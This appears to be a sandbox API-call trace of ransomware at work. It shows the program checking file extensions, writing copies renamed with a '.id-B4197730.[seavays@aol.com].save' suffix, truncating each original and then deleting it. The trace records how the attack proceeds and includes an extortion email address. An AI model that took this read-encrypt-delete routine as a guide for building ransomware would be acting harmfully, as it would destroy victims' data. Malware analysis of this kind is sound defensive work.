lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0052.089] lstrlenW (lpString=".jpg") returned 4 [0052.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.089] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.089] lstrlenW (lpString="eula.rtf") returned 8 [0052.089] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.089] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3526) returned 1 [0052.089] CloseHandle (hObject=0x2e8) returned 1 [0052.089] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0052.090] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.090] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.090] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0052.090] GetLastError () returned 0x0 [0052.090] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xdc6, lpOverlapped=0x0) returned 1 [0052.568] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0052.569] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.570] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.570] SetEndOfFile (hFile=0x314) returned 1 [0052.570] CloseHandle (hObject=0x314) returned 1 [0052.571] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.571] SetEndOfFile (hFile=0x2e8) returned 1 [0052.572] CloseHandle (hObject=0x2e8) returned 1 [0052.572] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.572] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0052.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.572] lstrlenW (lpString=".doc") returned 4 [0052.572] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.572] lstrlenW (lpString=".docx") returned 5 [0052.573] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.573] lstrlenW (lpString=".pdf") returned 4 [0052.573] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.573] lstrlenW (lpString=".xls") returned 4 [0052.573] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.573] lstrlenW (lpString=".xlsx") returned 5 [0052.573] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.573] lstrlenW (lpString=".ppt") returned 4 [0052.573] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.573] lstrlenW (lpString=".zip") returned 4 [0052.573] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.573] lstrlenW (lpString=".rar") returned 4 [0052.573] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.573] lstrlenW (lpString=".bz2") returned 4 [0052.573] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.573] lstrlenW (lpString=".7z") returned 3 [0052.573] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.573] lstrlenW (lpString=".dbf") returned 4 [0052.573] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.573] lstrlenW (lpString=".1cd") returned 4 [0052.573] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.573] lstrlenW (lpString=".jpg") returned 4 [0052.573] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.573] lstrlenW (lpString=".doc") returned 4 [0052.573] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.573] lstrlenW (lpString=".docx") returned 5 [0052.574] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.574] lstrlenW (lpString=".pdf") returned 4 [0052.574] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.574] lstrlenW (lpString=".xls") returned 4 [0052.574] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.574] lstrlenW (lpString=".xlsx") returned 5 [0052.574] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.574] lstrlenW (lpString=".ppt") returned 4 [0052.574] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.574] lstrlenW (lpString=".zip") returned 4 [0052.574] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.574] lstrlenW (lpString=".rar") returned 4 [0052.574] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.574] lstrlenW (lpString=".bz2") returned 4 [0052.574] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.574] lstrlenW (lpString=".7z") returned 3 [0052.574] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.574] lstrlenW (lpString=".dbf") returned 4 [0052.574] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.574] lstrlenW (lpString=".1cd") returned 4 [0052.574] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0052.574] lstrlenW (lpString=".jpg") returned 4 [0052.574] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.574] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.574] lstrlenW (lpString="eula.rtf") returned 8 [0052.574] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.575] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3546) returned 1 [0052.575] CloseHandle (hObject=0x2e8) returned 1 [0052.575] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0052.575] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.575] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.576] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.576] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0052.576] GetLastError () returned 0x0 [0052.576] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xdda, lpOverlapped=0x0) returned 1 [0052.577] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xde0, lpOverlapped=0x0) returned 1 [0052.578] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.578] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.578] SetEndOfFile (hFile=0x314) returned 1 [0052.578] CloseHandle (hObject=0x314) returned 1 [0052.579] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.579] SetEndOfFile (hFile=0x2e8) returned 1 [0052.580] CloseHandle (hObject=0x2e8) returned 1 [0052.580] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.580] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0052.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.581] lstrlenW (lpString=".doc") returned 4 [0052.581] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.581] lstrlenW (lpString=".docx") returned 5 [0052.581] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.581] lstrlenW (lpString=".pdf") returned 4 [0052.581] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.581] lstrlenW (lpString=".xls") returned 4 [0052.581] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.581] lstrlenW (lpString=".xlsx") returned 5 [0052.581] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.581] lstrlenW (lpString=".ppt") returned 4 [0052.581] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.581] lstrlenW (lpString=".zip") returned 4 [0052.581] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.581] lstrlenW (lpString=".rar") returned 4 [0052.581] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.581] lstrlenW (lpString=".bz2") returned 4 [0052.581] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.581] lstrlenW (lpString=".7z") returned 3 [0052.581] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.581] lstrlenW (lpString=".dbf") returned 4 [0052.581] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.581] lstrlenW (lpString=".1cd") returned 4 [0052.581] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.581] lstrlenW (lpString=".jpg") returned 4 [0052.581] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.582] lstrlenW (lpString=".doc") returned 4 [0052.582] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.582] lstrlenW (lpString=".docx") returned 5 [0052.582] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.582] lstrlenW (lpString=".pdf") returned 4 [0052.582] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.582] lstrlenW (lpString=".xls") returned 4 [0052.582] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.582] lstrlenW (lpString=".xlsx") returned 5 [0052.582] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.582] lstrlenW (lpString=".ppt") returned 4 [0052.582] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.582] lstrlenW (lpString=".zip") returned 4 [0052.582] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.582] lstrlenW (lpString=".rar") returned 4 [0052.582] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.582] lstrlenW (lpString=".bz2") returned 4 [0052.582] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.582] lstrlenW (lpString=".7z") returned 3 [0052.582] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.582] lstrlenW (lpString=".dbf") returned 4 [0052.582] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.583] lstrlenW (lpString=".1cd") returned 4 [0052.583] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0052.583] lstrlenW (lpString=".jpg") returned 4 [0052.583] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.583] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.583] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.583] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.583] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=79634) returned 1 [0052.583] CloseHandle (hObject=0x2e8) returned 1 [0052.583] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0052.583] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.583] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.584] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.584] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0052.584] GetLastError () returned 0x0 [0052.584] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x13712, lpOverlapped=0x0) returned 1 [0052.587] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13720, lpOverlapped=0x0) returned 1 [0052.589] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.589] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.589] SetEndOfFile (hFile=0x314) returned 1 [0052.589] CloseHandle (hObject=0x314) returned 1 [0052.592] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.592] SetEndOfFile (hFile=0x2e8) returned 1 [0052.593] CloseHandle (hObject=0x2e8) returned 1 [0052.593] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.593] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0052.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.594] lstrlenW (lpString=".doc") returned 4 [0052.594] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString=".docx") returned 5 [0052.594] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.594] lstrlenW (lpString=".pdf") returned 4 [0052.594] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString=".xls") returned 4 [0052.594] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString=".xlsx") returned 5 [0052.594] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.594] lstrlenW (lpString=".ppt") returned 4 [0052.594] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.594] lstrlenW (lpString=".zip") returned 4 [0052.594] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.594] lstrlenW (lpString=".rar") returned 4 [0052.594] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString=".bz2") returned 4 [0052.594] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString=".7z") returned 3 [0052.594] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.594] lstrlenW (lpString=".dbf") returned 4 [0052.594] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.594] lstrlenW (lpString=".1cd") returned 4 [0052.594] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.594] lstrlenW (lpString=".jpg") returned 4 [0052.594] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.594] lstrlenW (lpString=".doc") returned 4 [0052.595] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.595] lstrlenW (lpString=".docx") returned 5 [0052.595] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.595] lstrlenW (lpString=".pdf") returned 4 [0052.595] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.595] lstrlenW (lpString=".xls") returned 4 [0052.595] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.595] lstrlenW (lpString=".xlsx") returned 5 [0052.595] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.595] lstrlenW (lpString=".ppt") returned 4 [0052.595] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.595] lstrlenW (lpString=".zip") returned 4 [0052.595] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.595] lstrlenW (lpString=".rar") returned 4 [0052.595] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.595] lstrlenW (lpString=".bz2") returned 4 [0052.595] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.595] lstrlenW (lpString=".7z") returned 3 [0052.595] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.595] lstrlenW (lpString=".dbf") returned 4 [0052.595] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.595] lstrlenW (lpString=".1cd") returned 4 [0052.595] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0052.595] lstrlenW (lpString=".jpg") returned 4 [0052.595] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.595] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.596] lstrlenW (lpString="eula.rtf") returned 8 [0052.596] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.596] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3046) returned 1 [0052.596] CloseHandle (hObject=0x2e8) returned 1 [0052.596] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0052.596] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.596] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.596] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.596] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.596] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0052.596] GetLastError () returned 0x0 [0052.596] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xbe6, lpOverlapped=0x0) returned 1 [0052.598] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xbf0, lpOverlapped=0x0) returned 1 